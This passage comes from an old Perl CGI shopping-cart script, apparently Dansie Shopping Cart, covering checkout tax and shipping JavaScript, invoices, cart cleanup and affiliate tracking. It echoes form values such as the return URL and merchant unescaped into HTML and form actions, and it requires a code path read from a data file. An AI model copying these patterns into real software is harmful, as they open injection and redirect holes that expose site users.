method\n"; } else { print "\nvar ship_method = 0          // price of cheapest shipping method\n"; } print "\ntotal = subTotal + ship_method       // sub total + cheapest shipping\n"; print "CurrentTaxRate = 0      // Initialize tax carrier\n"; print "Tax = new Array()\n"; $sn = 0; foreach (@state) { print "Tax[\"$state[$sn]\"] = $tax[$sn];\n"; $sn++; } print "\nfunction ShipUpdate() {\n"; if ( !$ship_allow ) { print "total = subTotal;\n"; } if ( $ship_allow == 1 ) { $sn = 0; foreach (@method) { print "if ( document.ordform.ship_method[$sn].selected ) { ship_method = $price[$sn] }\n"; $sn++; } print "total = subTotal + ship_method;\n"; } if ( $ship_allow == 2 ) { $sn = 0; foreach (@shipping_locations) { if (!$price[$sn]) { $price[$sn] = "0"; } print "if ( document.ordform.ship_method[$sn].selected ) { ship_method = $price[$sn] }\n"; $sn++; } print "total = subTotal + ship_method;\n"; } if ( $tax_allow == 1 ) { print " if ( document.ordform.tax.type == \"checkbox\" )\n {\n if (document.ordform.tax.checked)\n {\n CurrentTaxRate = $tax[0];\n }\n else\n {\n CurrentTaxRate = 0;\n }\n }\n else\n {\n"; for($i=0;$i<@tax;$i++) { print " if ( document.ordform.tax[$i].selected ) { CurrentTaxRate = Number($tax[$i]); }\n"; } print "if ( document.ordform.tax[$i].selected ) { CurrentTaxRate = Number(0); }\n"; print "\n }\n total = Number(total) + (($total - $nontaxable)*(CurrentTaxRate/100));\n"; } if ( $tax_allow == 2 ) { if (!$ship_allow) { print "total = subTotal;\n"; } print "CurrentTaxRate = $tax[0];\n total = Number(total) + (($total - $nontaxable)*(CurrentTaxRate/100));\n"; } if ( $option5 ) { print "\nCodUpdate()\n"; } print "\nUpdate()\n }"; if ( $option5 ) { print "\nfunction CodUpdate()\n {\n current = document.ordform.purpose.selectedIndex;\n if ( document.ordform.purpose.options[current].value == \"cod\" )\n { total += Number($option5); }\n }\n"; } print "\n\nfunction TaxUpdate()\n {\n if (compat)\n {\n if ( document.ordform.tax.type != \"checkbox\" )\n {\n"; for($i=0;$i<@tax;$i++) { print "\n if ( document.ordform.tax[$i].selected ) { CurrentTaxRate = Number($tax[$i]);\n }\n"; } print "if ( document.ordform.tax[$i].selected ) { CurrentTaxRate = Number(0); }\n }\n"; print "if ( document.ordform.tax.type == \"checkbox\" && (!document.ordform.tax.checked) )\n {\n CurrentTaxRate = 0;\n }\n if ( document.ordform.tax.type == \"checkbox\" && (document.ordform.tax.checked) )\n {\n CurrentTaxRate = Number($tax[0]);\n }\n total = subTotal + ship_method\n total = Number(total) + (($total - $nontaxable)*(CurrentTaxRate/100));\n"; if ( $option5 ) { print "\nCodUpdate()\n"; } print "\nUpdate()\n }\n }\n function Commas(intnum)\n {\n intstr = \"\"+intnum;\n inserts = parseInt(intstr.length)/3;\n sep = \"$currency_sep\"\n for(i=1;i<=inserts;i++)\n {\n if (intnum >= Math.pow(1000,i))\n {\n intlen = intstr.length\n temp1=parseInt(\"\"+(intnum/Math.pow(1000,i)))\n temp2=intstr.substring(intlen-((i*4)-1),intlen)\n intstr = temp1+sep+temp2\n }\n }\n whole = intstr\n }\n function Update()\n {\n whole = parseInt(total)\n if ( isNaN(whole) ) { whole = \"0\" }\n dec = total - whole\n // dec *= 1000\n dec *= Math.pow(10,($decimals2 + 1))\n dec = parseInt(dec)\n dec /= 10\n round = dec - parseInt(dec)\n round *= 10\n round = parseInt(round)\n dec = parseInt(dec)\n if ( round >= 5 )\n {\n dec += 1;\n // if ( dec == 100 ) { whole += 1; dec = 00 }\n if ( dec == Math.pow(10,$decimals2) ) { whole += 1; dec = 0 }\n }\n // if ( dec < 10 ) { dec = \"0\" + dec }\n // if ( isNaN(dec) ) { dec = \"00\" }\n if ( isNaN(dec) ) { dec = \"0\" }\n dec = String(dec)\n while ( dec.length < $decimals2 ) { dec = \"0\" + dec }\n // document.ordform.total.value = \"$lang[42] $symbol2 \" + whole + \".\" + dec\n; Commas(whole)\n document.ordform.total.value = \"\" + whole\n"; if ( $decimals2 ) { print "document.ordform.total.value = document.ordform.total.value + \".\" + dec\n";  } print "document.ordform.total.value = \"$lang[42] $symbol2 \" + document.ordform.total.value\n }\n </SCRIPT>\n"; } print "<TR BGCOLOR=\"$address_table_bgcolor\"><TD ALIGN=RIGHT COLSPAN=5><FONT SIZE=\"$font_size2\" FACE=\"$font_face2\" COLOR=\"$font2\">$lang[43] $symbol "; $currency_sep_total = $total; &currency_sep; print "$currency_sep_total"; print "</FONT>"; if ( $tax_allow || $ship_allow || $option5 ) { if (!$force_no_script) { print "<SCRIPT LANGUAGE=\"JavaScript\">\n if (!compat)\n {\n document.write('<FONT SIZE=\"$font_size2\" FACE=\"$font_face2\" COLOR=\"$font2\"><SUP>*</SUP></FONT>');\n }\n </SCRIPT>\n"; } if (!$force_no_script) { print "<NOSCRIPT>"; } print "<FONT SIZE=\"$font_size2\" FACE=\"$font_face2\" COLOR=\"$font2\"><SUP>*</SUP></FONT>"; if (!$force_no_script) { print "</NOSCRIPT>"; } } print "</TD></TR></TABLE></CENTER>"; print "<BR>"; print "<CENTER><TABLE WIDTH=\"$table_width\" BORDER=0 CELLPADDING=0 CELLSPACING=0>"; print "<TR><TD VALIGN=BOTTOM><FORM name=\"ordform\" METHOD=POST ACTION=$path3>"; if ( $tax_allow == 1 ) { if ( @tax == 1 ) { $sales_tax_temp = (($total-$nontaxable)*$tax[0])/100; $sales_tax_temp = sprintf("$decimals","$sales_tax_temp"); print "<!-- BLOCKQUOTE --><FONT SIZE=\"$font_size1\" COLOR=\"$font1\" FACE=\"$font_face1\"><B>$lang[44] ($tax[0]\% = $symbol $sales_tax_temp)<BR>$lang[45]<BR>$state[0]. </B></FONT>"; if (!$force_no_script) { print "<SCRIPT LANGUAGE=\"JavaScript\">\n if (compat)\n {\n document.write('<INPUT onClick=\"TaxUpdate($tax[0])\" TYPE=CHECKBOX NAME=\"tax\" VALUE=\"$state[0]\" >')\n }\n else\n { document.write('<INPUT TYPE=CHECKBOX NAME=\"tax\" VALUE=\"$state[0]\" >') }\n </SCRIPT>\n"; } if (!$force_no_script) { print "<NOSCRIPT>"; } print "<INPUT TYPE=CHECKBOX NAME=\"tax\" VALUE=\"$state[0]\" >"; if (!$force_no_script) { print "</NOSCRIPT>"; } print "<BR><BR>"; } if ( @tax > 1 ) { print "<!-- BLOCKQUOTE --><FONT SIZE=\"$font_size1\" COLOR=\"$font1\" FACE=\"$font_face1\"><B>$lang[44] $lang[46]</B></FONT><BR>"; if (!$force_no_script) { print " <SCRIPT LANGUAGE=\"JavaScript\">\n if (compat)\n {\n document.write('<SELECT onChange=\"TaxUpdate()\" NAME=\"tax\" SIZE=1>\\n');\n }\n else { document.write('<SELECT NAME=\"tax\" SIZE=1 >\\n'); }\n"; $sn = 0; foreach (@tax) { $sales_tax_temp = (($total-$nontaxable)*$tax[$sn])/100; $sales_tax_temp = sprintf("$decimals","$sales_tax_temp"); print "document.write('<OPTION VALUE=\"$state[$sn]\"> $state[$sn] $tax[$sn]\% = $symbol2 $sales_tax_temp\\n');\n"; $sn++; } print "document.write('<OPTION VALUE=\"\" >$lang[47]\\n');\n </SCRIPT>\n"; } print "</SELECT>\n"; if (!$force_no_script) { print "<NOSCRIPT>"; } print "<SELECT NAME=\"tax\" SIZE=1 >\n"; $sn = 0; foreach (@tax) { $sales_tax_temp = (($total-$nontaxable)*$tax[$sn])/100; $sales_tax_temp = sprintf("$decimals","$sales_tax_temp"); print "<OPTION VALUE=\"$state[$sn]\">$state[$sn] $tax[$sn]\% = $symbol $sales_tax_temp\n"; $sn++; } print "<OPTION VALUE=\"\" >$lang[47]\n </SELECT>\n"; if (!$force_no_script) { print "</NOSCRIPT>"; } print "<BR><BR>"; } } if ( $tax_allow == 2 ) { $sales_tax_temp = (($total-$nontaxable)*$tax[0])/100; $sales_tax_temp = sprintf("$decimals","$sales_tax_temp"); print "<!-- BLOCKQUOTE --><FONT SIZE=\"$font_size1\" COLOR=\"$font1\" FACE=\"$font_face1\"><B>$lang[44] ($tax[0]\% = $symbol $sales_tax_temp) </B></FONT>"; print "<INPUT TYPE=HIDDEN NAME=\"tax\" VALUE=\"$state[0]\" ><BR><BR>"; } if ( $ship_allow == 1 ) { print "<FONT SIZE=\"$font_size1\" COLOR=\"$font1\" FACE=\"$font_face1\"><B>$lang[48]</B></FONT><BR>"; if (!$force_no_script) { print "<SCRIPT language=\"javascript\">\n if (compat)\n {\n document.write('<SELECT NAME=\"ship_method\" onChange=\"ShipUpdate()\" size=1>\\n')\n }\n else { document.write('<SELECT NAME=\"ship_method\" size=1>\\n') }\n"; $n = 0; foreach (@method) { print "document.write('<OPTION VALUE=\"$method[$n]\">$method[$n] - $symbol2 $price[$n]\\n');\n"; $n++; } print "document.write('</SELECT>\\n<BR>\\n');\n </SCRIPT>\n"; } if (!$force_no_script) { print "<NOSCRIPT>\n"; } print "<SELECT NAME=\"ship_method\" size=1>\n"; $n = 0; foreach (@method) { print "<OPTION VALUE=\"$method[$n]\">$method[$n] - $symbol $price[$n]\n"; $n++; } print "</SELECT>\n<BR>\n"; if (!$force_no_script) { print "</NOSCRIPT>\n"; } } if ( $ship_allow == 2 ) { print "<FONT SIZE=\"$font_size1\" COLOR=\"$font1\" FACE=\"$font_face1\"><B>$lang[49]</B></FONT><BR>"; if (!$force_no_script) { print "<SCRIPT language=\"javascript\">\n if (compat)\n {\n document.write('<SELECT NAME=\"ship_method\" onChange=\"ShipUpdate()\" size=1>\\n')\n }\n else { document.write('<SELECT NAME=\"ship_method\" size=1>\\n') }\n"; $n = 0; foreach (@shipping_locations) { print "document.write('<OPTION VALUE=\"$shipping_locations[$n]\">$shipping_locations[$n] - $symbol2 $price[$n]\\n');\n"; $n++; } print "document.write('</SELECT>\\n<BR>\\n');\n </SCRIPT>\n"; } if (!$force_no_script) { print "<NOSCRIPT>\n"; } print "<SELECT NAME=\"ship_method\" size=1>\n"; $n = 0; foreach (@shipping_locations) { $shipping_via_amount = $shipping_via_amount[$n]; &ship_calc; print "<OPTION VALUE=\"$shipping_locations[$n]\">$shipping_locations[$n] - $symbol $price[$n]\n"; $n++; } print "</SELECT>\n<BR>\n"; if (!$force_no_script) { print "</NOSCRIPT>\n"; } } print "<BR> <FONT SIZE=\"$font_size1\" COLOR=\"$font1\" FACE=\"$font_face1\"><B>$lang[24]</B></FONT><BR>"; if ($option5 ne "0.00") { $cod_temp = sprintf("$decimals","$option5"); $cod_temp = "+$symbol $cod_temp"; } if (!$force_no_script) { print "<SCRIPT language=\"javascript\">\n if (compat)\n {\n document.write('<SELECT NAME=purpose onChange=\"ShipUpdate()\" size=1>')\n }\n else { document.write('<SELECT NAME=purpose size=1>') }\n"; print "document.write('<OPTION VALUE=\"att\">$lang[154]')\n" if ($att_payment_option); print "document.write('<OPTION VALUE=\"credit\">$lang[14]')\n" if ($option1); print "document.write('<OPTION VALUE=\"check_transfer\">$lang[71]')\n" if ($option4); print "document.write('<OPTION VALUE=\"credit_phone\">$lang[25]')\n" if ($option2); print "document.write('<OPTION VALUE=\"check\">$lang[26]')\n" if ($option3); print "document.write('<OPTION VALUE=\"cod\">$lang[97] $cod_temp')\n" if ($option5); print "document.write('<OPTION VALUE=\"auxiliary\"> $option6')\n" if ($option6); print "document.write('</SELECT><BR><BR>');\n </SCRIPT>\n"; } if (!$force_no_script) { print "<NOSCRIPT>"; } print "<SELECT NAME=purpose size=1>"; print "<OPTION VALUE=\"credit\">$lang[14]" if ($option1); print "<OPTION VALUE=\"check_transfer\">$lang[71]" if ($option4); print "<OPTION VALUE=\"credit_phone\">$lang[25]" if ($option2); print "<OPTION VALUE=\"check\">$lang[26]" if ($option3); print "<OPTION VALUE=\"cod\">$lang[97] $cod_temp" if ($option5); print "<OPTION VALUE=\"auxiliary\"> $option6" if ($option6); print "</SELECT><BR><BR>"; if (!$force_no_script) { print "</NOSCRIPT>"; } print "<FONT SIZE=\"$font_size1\" COLOR=\"$font1\" FACE=\"$font_face1\">"; if ( ($minimum_order) && ($total < $minimum_order) ) { print "<FONT SIZE=\"$font_size2\" COLOR=\"$font2\" FACE=\"$font_face2\">$lang[18] $symbol $minimum_order<BR></FONT>\n"; print "<INPUT TYPE=HIDDEN NAME=\"total\">\n"; } else { if ( $lang[148] =~ /^http/i ) { print "<INPUT TYPE=HIDDEN NAME=\"total\">\n"; print "<INPUT TYPE=IMAGE NAME=\"\" SRC=\"$lang[148]\" VALUE=\"$lang[148]\" BORDER=0>\n"; } else { if (!$force_no_script) { print "<SCRIPT language=\"javascript\">\n if (compat)\n {\n document.write('<INPUT name=\"total\" VALUE=\"$lang[148]\" TYPE=SUBMIT>');\n }\n else\n {\n document.write('<INPUT name=\"total\" VALUE=\"$lang[148]\" TYPE=SUBMIT>');\n }\n"; print "if (compat) { ShipUpdate() } // Initializes JavaScript values\n"; print "</SCRIPT>\n"; } if (!$force_no_script) { print "<NOSCRIPT>\n"; } print "<INPUT name=\"total\" VALUE=\"$lang[148]\" TYPE=SUBMIT>\n"; if (!$force_no_script) { print "</NOSCRIPT>\n"; } } } print "</FONT> <INPUT TYPE=HIDDEN NAME=merchant VALUE=\"$FORM{'merchant'}\"> <INPUT TYPE=HIDDEN NAME=convert_cookie_to_ip VALUE=\"$shopper_id\"> </FORM></TD> <TD VALIGN=BOTTOM ALIGN=CENTER WIDTH=50%>"; if ($empty_entire_cart) { if (!$force_no_script) { print "\n\n<FORM NAME=\"empty_entire_cart\" METHOD=POST ACTION=\"$path3\" onSubmit=\"return confirm('$lang[89]')\">\n"; } else { print "\n\n<FORM METHOD=POST ACTION=$path3>\n"; } print "<FONT SIZE=\"$font_size1\" COLOR=\"$font1\" FACE=\"$font_face1\">$lang[87]<BR>\n <INPUT TYPE=HIDDEN NAME=purpose VALUE=\"empty_entire_cart\">\n <INPUT TYPE=HIDDEN NAME=merchant VALUE=\"$FORM{'merchant'}\">\n <INPUT TYPE=HIDDEN NAME=return VALUE=\"$FORM{'return'}\">\n <INPUT TYPE=HIDDEN NAME=convert_cookie_to_ip VALUE=\"$shopper_id\">\n"; if ( $lang[88] =~ /^http/i ) { print "<INPUT TYPE=IMAGE NAME=\"\" SRC=\"$lang[88]\" VALUE=\"$lang[88]\" BORDER=0>\n"; } else { print "<INPUT TYPE=SUBMIT VALUE=\"$lang[88]\">\n"; } print "</FONT>\n</FORM>\n<BR><FORM></FORM>\n\n"; } if ($coupon_discount) { print "\n\n<FORM METHOD=POST ACTION=$path3>\n <FONT SIZE=\"$font_size1\" COLOR=\"$font1\" FACE=\"$font_face1\">$lang[115]<BR>\n <INPUT TYPE=HIDDEN NAME=purpose VALUE=\"coupon_discount\">\n </FONT>\n <FONT SIZE=\"$font_size1\" COLOR=\"$font1\" >\n <INPUT TYPE=TEXT NAME=coupon SIZE=15 MAXLENGTH=15>\n </FONT>\n <FONT SIZE=\"$font_size1\" COLOR=\"$font1\" FACE=\"$font_face1\">\n <INPUT TYPE=HIDDEN NAME=merchant VALUE=\"$FORM{'merchant'}\">\n <INPUT TYPE=HIDDEN NAME=return VALUE=\"$FORM{'return'}\">\n <INPUT TYPE=HIDDEN NAME=convert_cookie_to_ip VALUE=\"$shopper_id\">\n"; if ( $lang[146] =~ /^http/i ) { print "<BR><INPUT TYPE=IMAGE NAME=\"\" SRC=\"$lang[146]\" VALUE=\"$lang[146]\" BORDER=0 ALIGN=CENTER>\n"; } else { print "<INPUT TYPE=SUBMIT VALUE=\"$lang[146]\">\n"; } print "</FONT>\n</FORM>\n<BR><BR>\n\n"; } if ( $FORM{'return'} =~ /$path3\?(.*)/ ) { print "\n\n<FORM $post_get_method ACTION=\"$FORM{'return'}\" $target > <INPUT TYPE=HIDDEN NAME=\"should_be_get_method\" VALUE=\"yep\">\n"; } else { print "\n\n<FORM $post_get_method ACTION=\"$FORM{'return'}\" $target >\n"; } print "<FONT SIZE=\"$font_size1\" COLOR=\"$font1\" FACE=\"$font_face1\">\n"; if ( $lang[41] =~ /^http/i ) { print "<INPUT TYPE=IMAGE NAME=\"\" SRC=\"$lang[41]\" VALUE=\"$lang[41]\" BORDER=0>\n"; } else { print "<INPUT TYPE=SUBMIT VALUE=\"$lang[41]\">\n"; } print "</FONT>\n</FORM>\n\n</TD></TR>\n"; print "<TR><TD COLSPAN=2>"; if ( $ship_allow ) { if (!$force_no_script) { print "<NOSCRIPT>"; } print "<BR><FONT SIZE=-1 COLOR=\"$font1\" FACE=\"$font_face1\">* $lang[50]<BR></FONT>"; if (!$force_no_script) { print "</NOSCRIPT>"; } if (!$force_no_script) { print "<SCRIPT LANGUAGE=\"JavaScript\">\n if (!compat)\n {\n document.write('<BR><FONT SIZE=-1 COLOR=\"$font1\" FACE=\"$font_face1\">* $lang[50]<BR></FONT>');\n }\n </SCRIPT>\n"; } } if ( $tax_allow ) { if (!$force_no_script) { print "<NOSCRIPT>\n"; } print "<FONT SIZE=-1 COLOR=\"$font1\" FACE=\"$font_face1\">* $lang[51]<BR></FONT>\n"; if (!$force_no_script) { print "</NOSCRIPT>\n"; } if (!$force_no_script) { print "<SCRIPT LANGUAGE=\"JavaScript\">\n if (!compat)\n {\n document.write('<FONT SIZE=-1 COLOR=\"$font1\" FACE=\"$font_face1\">* $lang[51]<BR></FONT>');\n }\n </SCRIPT>\n"; } } if ( $option5 > 0 ) { if (!$force_no_script) { print "<NOSCRIPT>\n"; } print "<FONT SIZE=-1 COLOR=\"$font1\" FACE=\"$font_face1\">* $lang[103]<BR></FONT>\n"; if (!$force_no_script) { print "</NOSCRIPT>\n"; } if (!$force_no_script) { print "<SCRIPT LANGUAGE=\"JavaScript\">\n if (!compat)\n {\n document.write('<BR><FONT SIZE=-1 COLOR=\"$font1\" FACE=\"$font_face1\">* $lang[103]<BR></FONT>');\n }\n </SCRIPT>\n"; } } print "</TD></TR></TABLE></CENTER>"; } print "<CENTER><FONT SIZE=-1 COLOR=\"$font1\" FACE=\"$font_face1\">$lang[111]<BR> <A HREF=\"http://www.dansie.net\" TARGET=\"cart\" ><FONT SIZE=-1 COLOR=\"$font1\" FACE=\"$font_face1\">Dansie Shopping Cart</FONT></A> <FONT SIZE=-1 COLOR=\"$font1\" FACE=\"$font_face1\"><I>http://www.dansie.net</I></FONT></CENTER>"; if ($ENV{'HTTP_HOST'} eq "www.dansie.net") { print "<IMG SRC=\"http://www.dansie.net/cgi-bin/counter.pl\" border=0>"; } print "</BODY></HTML>"; } sub change_quantity { @stuff = split(/$delimiter2/,$item); &fix_quantity; $stuff[4] = $FORM{'quantity'}; unless ( $FORM{'quantity'} <= 0 ) { print CART "$stuff[0]$delimiter$stuff[1]$delimiter$stuff[2]$delimiter$stuff[3]$delimiter$stuff[4]"; for($i=5;$i<=($customs+4);$i++) { print CART "$delimiter$stuff[$i]"; } } } sub delete_old_carts { opendir(DIR,"$path1"); @cart_list=grep(/\w/,readdir(DIR)); close(DIR); foreach $cart (sort @cart_list) { if ( (-M "$path1/$cart") > $expire ) { $untainted = &untaint("$path1/$cart"); unlink("$untainted"); } } } sub show_invoice { &get_shoppers_items; $limited_dir = "$vars"; $a = ""; until ($a eq "/" || $limited_dir eq "") { $a = chop($limited_dir); } if ( (-e "$limited_dir/limited.dat") ) { open (LIMITED, "$limited_dir/limited.dat"); if ($flock) { flock(LIMITED, 2); } @limited = <LIMITED>; if ($flock) { flock(LIMITED, 8); } close (LIMITED); } chop($items[0]); ($date,$invoice,$state,$ship_method,$comments2,$coupon_amount,$coupon_number) = split(/$delimiter2/, $items[0]); print "<BR><CENTER><TABLE WIDTH=\"$table_width\" BORDER=0 CELLPADDING=0 CELLSPACING=0><TR><TD>"; print "<FONT SIZE=\"$font_size1\" COLOR=\"$font1\" FACE=\"$font_face1\">$lang[52] $date<BR>"; print "$lang[53] $invoice</FONT><BR><BR>"; print "</TD></TR></TABLE></CENTER>"; print "<CENTER><TABLE BORDER=4 CELLPADDING=5 CELLSPACING=0 WIDTH=\"$table_width\"><TR><TD><FONT SIZE=\"$font_size2\" FACE=\"$font_face2\" COLOR=\"$font2\">$lang[54]</FONT></TD><TD><FONT SIZE=\"$font_size2\" FACE=\"$font_face2\" COLOR=\"$font2\">$lang[55]</FONT></TD><TD><FONT SIZE=\"$font_size2\" FACE=\"$font_face2\" COLOR=\"$font2\">$lang[34]</FONT></TD>"; if ($show_ship) { print "<TD><FONT SIZE=\"$font_size2\" FACE=\"$font_face2\" COLOR=\"$font2\"><NOBR>$lang[37] <FONT SIZE=-2>($wt)</FONT></NOBR></FONT></TD>"; } print "<TD><FONT SIZE=\"$font_size2\" FACE=\"$font_face2\" COLOR=\"$font2\">$lang[36]</FONT></TD><TD><FONT SIZE=\"$font_size2\" FACE=\"$font_face2\" COLOR=\"$font2\">$lang[82]</FONT></TD></TR>"; $total = 0; $nontaxable = 0; $noshipping = 0; $ship_total = 0; $n = 0; foreach $item (@items) { if ( ( $n == 0 ) || ( $n == 1 ) ) { $n++; next; } @stuff = split(/$delimiter2/,$item); &limited_item_deincrement; @customs = (@stuff); for($i=1;$i<=5;$i++) { shift(@customs); } $quantity = $stuff[4]; $price_calc = $stuff[1]; &price_calc; $item_total = $each * $stuff[4]; if ($item =~ /\#non.*taxable\#/i) { $nontaxable += $item_total; } if ($item =~ /\#noshipping\#/i) { $noshipping += $item_total; } $total += $item_total; $sh = $stuff[2] * $stuff[4]; $ship_total += $sh; print "<TR><TD><FONT SIZE=\"$font_size1\" COLOR=\"$font1\" FACE=\"$font_face1\">$stuff[0]</FONT></TD><TD><FONT SIZE=\"$font_size1\" COLOR=\"$font1\" FACE=\"$font_face1\">"; $br = 0; for ( $i=5;$i<=($customs+4);$i++ ) { if ( $stuff[$i] =~ /\n/ ) { chop($stuff[$i]); } $stuff[$i] =~ s/$br_sub/<BR>\n/g; if ( $stuff[$i] ) { $br += 1; if ( $br == 1 ) { print "$stuff[$i]" unless ( $stuff[$i] =~ /\#non.*taxable\#/i || $stuff[$i] =~ /\#noshipping\#/i || $suppress_desc == 2);  } else { print "<BR>$stuff[$i]" unless ( $stuff[$i] =~ /\#non.*taxable\#/i || $stuff[$i] =~ /\#noshipping\#/i || $suppress_desc == 2);  } } } if (!$br) { print "<BR>"; } print "&nbsp;</FONT></TD><TD ALIGN=CENTER><FONT SIZE=\"$font_size1\" COLOR=\"$font1\" FACE=\"$font_face1\">$stuff[4]</FONT></TD>"; if ($show_ship) { $sh = sprintf("$decimals",$sh); print "<TD ALIGN=CENTER><FONT SIZE=\"$font_size1\" COLOR=\"$font1\" FACE=\"$font_face1\">$sh</FONT></TD>"; } print "<TD><FONT SIZE=\"$font_size1\" COLOR=\"$font1\" FACE=\"$font_face1\">"; printf "$decimals",$each; print "</FONT></TD><TD ALIGN=RIGHT><FONT SIZE=\"$font_size1\" COLOR=\"$font1\" FACE=\"$font_face1\">"; printf "$decimals", $item_total; print "</FONT></TD></TR>"; $n++; } if ($show_ship) { $cols = 5; } else { $cols = 4; } if ( $coupon_amount ) { &coupon_amount; print "<TR><TD COLSPAN=$cols ><FONT SIZE=\"$font_size1\" FACE=\"$font_face1\" COLOR=\"$font1\">$lang[116] ($coupon_amount)</FONT></TD><TD ALIGN=RIGHT> <FONT SIZE=\"$font_size1\" FACE=\"$font_face1\" COLOR=\"$font1\"> - $symbol $temp</TD></TR>"; } &webstore_discount; if ( $discount_amount ) { $total -= $discount_amount; if ( $nontaxable ) { $nontaxable -= $discount_amount; } print "<TR><TD COLSPAN=$cols ><FONT SIZE=\"$font_size1\" FACE=\"$font_face1\" COLOR=\"$font1\">$lang[108] ($disc_percent\%)</FONT></TD><TD ALIGN=RIGHT> <FONT SIZE=\"$font_size1\" FACE=\"$font_face1\" COLOR=\"$font1\"> - $symbol $discount_amount</TD></TR>"; } if (!$lang[70]) { $lang[70] = "$lang[43]"; } print "<TR><TD COLSPAN=$cols><FONT SIZE=\"$font_size1\" COLOR=\"$font1\" FACE=\"$font_face1\">$lang[70]</FONT></TD><TD ALIGN=RIGHT><FONT SIZE=\"$font_size2\" FACE=\"$font_face2\" COLOR=\"$font2\"> <NOBR>$symbol "; $currency_sep_total = $total; &currency_sep; print "$currency_sep_total"; print "</NOBR></FONT></TD></TR>"; if ( $state ) { &get_sales_tax; $taxes = ($total - $nontaxable) * $tax_rate; $taxes /= 100; print "<TR><TD COLSPAN=$cols><FONT SIZE=\"$font_size1\" COLOR=\"$font1\" FACE=\"$font_face1\">$state $lang[151] $lang[44]"; print " $tax_rate"; print "\%"; print "</FONT></TD><TD ALIGN=RIGHT><FONT SIZE=\"$font_size2\" FACE=\"$font_face2\" COLOR=\"$font2\"> <NOBR>$symbol"; printf "$decimals", $taxes; print "</NOBR></FONT></TD></TR>"; } if ( $ship_allow ) { &ship_calc; print "<TR><TD COLSPAN=$cols><FONT SIZE=\"$font_size1\" COLOR=\"$font1\" FACE=\"$font_face1\">$lang[56] ($ship_method)</FONT></TD><TD ALIGN=RIGHT><FONT SIZE=\"$font_size2\" FACE=\"$font_face2\" COLOR=\"$font2\"> <NOBR>$symbol"; printf "$decimals", $ship_total; print "</NOBR></FONT></TD></TR>"; $total += $ship_total; } if ( ($FORM{'purpose2'} eq "cod") && ($option5 ne "0.00") ) { print "<TR><TD COLSPAN=$cols><FONT SIZE=\"$font_size1\" COLOR=\"$font1\" FACE=\"$font_face1\">$lang[102]</FONT></TD><TD ALIGN=RIGHT><FONT SIZE=\"$font_size2\" FACE=\"$font_face2\" COLOR=\"$font2\"> <NOBR>$symbol"; printf "$decimals", $option5; print "</NOBR></FONT></TD></TR>"; $total += $option5; } $total += $taxes; $total = sprintf("$decimals","$total"); print "<TR><TD COLSPAN=$cols><FONT SIZE=\"$font_size1\" COLOR=\"$font1\" FACE=\"$font_face1\">$lang[57]</FONT></TD><TD ALIGN=RIGHT><FONT SIZE=\"$font_size2\" FACE=\"$font_face2\" COLOR=\"$font2\"> <NOBR>$symbol "; $currency_sep_total = $total; &currency_sep; print "$currency_sep_total"; print "</NOBR></FONT></TD></TR></TABLE></CENTER><BR>"; if ( $deincrement ) { open (LIMITED, ">$limited_dir/limited.dat"); if ($flock) { flock(LIMITED, 2); } foreach (@limited) { if ($_ =~ /\n$/) { chop($_); } print LIMITED "$_\n"; } if ($flock) { flock(LIMITED, 8); } close (LIMITED); } $comish = "$vars"; $a = ""; until ($a eq "/" || $comish eq "") { $a = chop($comish); } $comish = "$comish/comish.dat"; if (-e "$comish") { open (COMISH,"$comish"); @comish=<COMISH>; close (COMISH); if ( $comish[0] =~ /\n$/ ) { chop( $comish[0]); } require "$comish[0]"; $comish_total = $total - $taxes; $comish_total -= $ship_total; $comish_total = sprintf("$decimals",$comish_total); $commission_amount = $comish[1] * $comish_total; $commission_amount = sprintf("$decimals",$commission_amount); &the_comish($invoice,$comish_total,$commission_amount,$purchase_method2); } if ( ($guarantee =~ /(catalogchannel\.com)/) || ($guarantee =~ /(commercesolution\.com)/) || ($guarantee =~ /(commission-junction\.com)/) || ($guarantee =~ /(tracker\.clicktrade\.com)/) || ($guarantee =~ /(affiliatetracking\.net)/) || ($guarantee =~ /(cashflow\=)/) || ($guarantee =~ /(\#subtotal\#)/) ) { if ($affiliate) { $comish_total = $total - $taxes;  $comish_total -= $ship_total if ( $ship_allow ); $comish_total = sprintf("$decimals",$comish_total); $comish_total =~ s/ //g; $guarantee =~ s/(\#orderid\#)/$invoice/; $guarantee =~ s/(\#subtotal\#)/$comish_total/; } elsif ($guarantee =~ /(commission-junction\.com)/) { $comish_total = $total - $taxes;  $comish_total -= $ship_total if ( $ship_allow ); $comish_total = sprintf("$decimals",$comish_total); $comish_total =~ s/ //g; $guarantee =~ s/(\#orderid\#)/$invoice/; $guarantee =~ s/(\#subtotal\#)/$comish_total/; @temp = split(/\|/,"$items[1]"); if ( $purchase_method eq "$lang[25]" ) { $customer_email = (@temp)[17]; } else { $customer_email = (@temp)[8]; } $guarantee =~ s/TYPE\=sale/TYPE\=lead/gi; $guarantee =~ s/(OID\=)(.+)(\&)(TYPE)/$1$customer_email$3$4/gi; } else { $guarantee =~ s/(\<img src\=)(\S+)(\#subtotal\#)(.*)(\>)//i; } } } sub get_shipping_cookie { if (&GetCompressedCookies('shipping_address','name','company','address','city','state','zip','country','email','phone','name2','company2','address2','city2','state2','zip2','country2','email2','phone2')) { $field1 = "$Cookies{'name'}"; $field2 = "$Cookies{'company'}"; $field3 = "$Cookies{'address'}"; $field4 = "$Cookies{'city'}"; $field5 = "$Cookies{'state'}"; $field6 = "$Cookies{'zip'}"; $field7 = "$Cookies{'country'}"; $field8 = "$Cookies{'phone'}"; $field9 = "$Cookies{'email'}"; $field10 = "$Cookies{'name2'}"; $field11 = "$Cookies{'company2'}"; $field12 = "$Cookies{'address2'}"; $field13 = "$Cookies{'city2'}"; $field14 = "$Cookies{'state2'}"; $field15 = "$Cookies{'zip2'}"; $field16 = "$Cookies{'country2'}"; $field17 = "$Cookies{'phone2'}"; $field18 = "$Cookies{'email2'}"; } } sub print_ship_address { print "<FORM NAME=\"form1\" METHOD=POST ACTION=$path3 $ssl_target_top > <INPUT TYPE=HIDDEN NAME=purpose VALUE=ship_info> <TABLE BORDER=0 WIDTH=\"$table_width\" ALIGN=CENTER > <TR> <TD ALIGN=RIGHT><FONT SIZE=\"$font_size1\" COLOR=\"$font1\" FACE=\"$font_face1\">$lang[4] </FONT> </TD><TD><FONT SIZE=\"$font_size1\" COLOR=\"$font1\" ><INPUT TYPE=TEXT SIZE=40 MAXLENGTH=70 NAME=name VALUE=\"$field1\"></TD> </TR>"; if ( $use_company_name_field ) { print "<TR><TD ALIGN=RIGHT><FONT SIZE=\"$font_size1\" COLOR=\"$font1\" FACE=\"$font_face1\">$lang[90] </FONT> </TD><TD> <FONT SIZE=\"$font_size1\" 